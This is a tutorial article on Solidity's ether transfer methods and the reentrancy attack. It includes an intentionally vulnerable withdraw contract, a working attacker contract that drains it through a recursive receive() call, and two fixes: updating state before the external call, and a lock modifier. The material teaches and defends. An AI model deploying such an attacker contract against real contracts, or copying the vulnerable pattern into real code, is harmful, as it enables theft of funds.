Reentrancy exploit

0
28

Solidity supports three ways of transferring ether between wallets and smart contracts. These supported methods of transferring ether are send(), transfer() and call.value(). The methods differ by how much gas they pass to the transfer for executing other methods (in case the recipient is a smart contract), and by how they handle exceptions. send() and call().value() will merely return false upon failure but transfer() will throw an exception which will also revert state to what it was before the function call. These methods are summarized below

Therefore, your send() function should always be inside the require statement, to inform you about the failed execution.

In case of transfer(), you get to know that your transaction is unsuccessful right at the execution attempt.

Lastly, in case of call(), it still returns false in case an error occurs, that is why keep the usage of require() in mind. The principal difference from the two previous functions is an opportunity to set gas limit via .call{value: _amount, gas: gasValue}(“”) . It is necessary in case the payable function of the contract receiving ether performs a complex logic, that requires plenty of gas.

A contract can have at most one receive function, declared using receive() external payable { ... } (without the function keyword). This function cannot have arguments, cannot return anything and must have external visibility and payable state mutability. It is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.

In the worst case, the fallback function can only rely on 2300 gas being available (for example when send or transfer is used), leaving little room to perform other operations except basic logging. The following operations will consume more gas than the 2300 gas stipend:

  • Writing to storage
  • Creating a contract
  • Calling an external function which consumes a large amount of gas
  • Sending Ether

But in recent years, It has become a norm to use call() function to transfer ether rather than transfer and send because of the following reason: Any smart contract that uses transfer() or send() is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.

Read more here:https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/

This whole background was necessary to understand the reentrancy attack. Let us consider the following contract:

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.10;
contract EtherRentrancy {

mapping (address => uint256) public balances;
address public owner;

constructor() public {
owner = msg.sender;
}

function deposit() public payable{
balances[msg.sender] += msg.value;
}


function withdraw(uint _amount) public {
require (balances[msg.sender] >= _amount, "Insufficient funds");

(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send funds");

balances[msg.sender] -= _amount;
}

function getBalance() public view returns(uint){
return address(this).balance;

}

}

In this contract, any valid Ethereum address can deposit ether through the deposit function and can withdraw their ether with the withdraw function.

This is the contract we will use to drain all the funds from the above contract.

contract HelloBreaksLoose{
EtherRentrancy etherrentrancy;

constructor(address _etherrentrancy) public {
etherrentrancy = EtherRentrancy(_etherrentrancy);
}
    receive() external payable {
if (etherrentrancy.getBalance() >= 1 ether){
etherrentrancy.withdraw(1 ether);

}
}
    function attack() external payable{
require(msg.value >= 1 ether);
etherrentrancy.deposit{value: msg.value}();
etherrentrancy.withdraw(1 ether);


}
function getBalance() public view returns(uint){
return address(this).balance;

}
}

The contract should be deployed with the address of the EtherRentrancy contract.

Following are the execution steps when call function attack() of this contract: Step1: attack(),

Step2: deposit() with 1 ether on EtherRentrancy contract;

Step3: withdraw() function of EtherRentrancy contract;

Step4: withdraw() function, in turn, will call the receive function of HelloBreaksLoose;

Step5: receive function will again call the withdraw() function;

The last two steps — Step 3 and Step4 — will run in a loop until EtherRentrancy has a balance of less than 1 ether.

There are two ways to stop this attack:

  1. Change the withdraw function: update your state variable before you make any external calls from your contract.
function withdraw(uint _amount) public {
require (balances[msg.sender] >= _amount, "Insufficient f unds");
//Now, update to state variable balances is happening before // the call, the attacker wouldnt be able to withdraw
// funds more than he/she deposited. Subsequent calls into
//this function will fail as the depositor will not have
// funds.
        balances[msg.sender] -= _amount;
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send funds");


}

2. Using a modifier blockRentrancy: the idea is to lock the contract while any function of the contract is being executed, so only a single function in the contract can be executed at a time.

bool internal locked; //only contract can change this variable
modifier blockRentrancy {
    require(!locked, "Contract is locked");
locked = true;
_;
locked = false; //set locked = false after completion of
// function execution
}
//Use this modifier in contract functions
function withdraw(uint _amount) public blockRentrancy{ .....}

Reentrancy exploit was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.